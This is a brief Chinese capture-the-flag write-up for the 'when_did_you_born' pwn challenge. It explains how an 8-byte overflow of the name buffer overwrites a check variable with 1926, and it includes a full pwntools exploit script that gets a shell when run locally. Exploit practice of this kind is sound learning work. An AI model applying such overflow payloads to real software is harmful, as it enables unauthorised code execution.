When_did_you_born
日常查保护
image.png发现开了canary(这个我至今不太清楚原理)就很迷,然后还是选择去ida里看伪代码
image.png我们可以发现程序包含有两次的if判断和两次输入
第一次的判断是What’s Your Birth?后输入一个v5,v5=1926(这出题人皮啊)就可以继续进入到第二个判断了,第二个是What’s Your Name?后输入v4,但是v4貌似没有任何作用,第二的条件是让v5等于1926才能cat到flag。
好,大概有个思路就是让v4的输入更改v5的值。
image.png我们点这两个变量进去看,发现v4是var_20,v5是var_18,我们要让v4覆盖v5。
payload = “a” * 8 +p64(1926)
好了,关键步骤出来了,我们就可以上脚本了
exp
from pwn import*
p = process('./when_did_you_born')
#p = remote('111.198.29.45', '53157')
payload = 'a'*8 + p64(1926)
p.recvuntil("What's Your Birth?\n")
p.sendline('2000')
p.recvuntil("What's Your Name?\n")
p.sendline(payload)
p.interactive()
远程不知道为啥连不到,那就在本地运行一遍看看结果
image.png然后发现我们get到shell了,只是本地没有flag文件,那就算是完工了吧
网友评论